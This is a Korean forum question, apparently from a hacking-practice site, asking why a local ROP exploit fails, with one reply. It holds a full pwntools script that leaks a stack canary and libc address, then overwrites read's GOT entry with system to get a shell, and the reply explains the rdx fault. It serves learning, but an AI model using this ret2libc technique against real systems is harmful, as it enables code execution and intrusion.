쉘 획득 X
로컬에서 왜 안되는지 모르겠습니다 ㅜㅜ 도와주세요
vmmap으로 확인했을 때 /lib/x86_64-linux-gnu/libc-2.31.so 였고
rop 바이너리에서
pop_rdi = 0x0000000000401303
pop_rsi_r15 = 0x0000000000401301 였습니다.
혹시 rdx가 안될까 싶어서 pop_rdx_r12도 추가해봤는데 동작하지 않습니다ㅠ
pop_rdx_r12 = 0x0000000000119241
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p = process('./rop')
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000401303
pop_rsi_r15 = 0x0000000000401301
pop_rdx_r12 = 0x0000000000119241
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
#payload += p64(pop_rdx_r12) + p64(0x10) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
'''
#시스템_해킹
#공격기법
#rop
작성자 정보
답변
1
bincat
Closed Beta Tester
확인해보니 2.31에서는 두번째 read 할 때 rdx 값이 0이어서 안되는 것 같습니다.
구하신 pop rdx offset은 libc 오프셋인것같네요!!
그래서 read got 가 system으로 변경되지 않는것같아요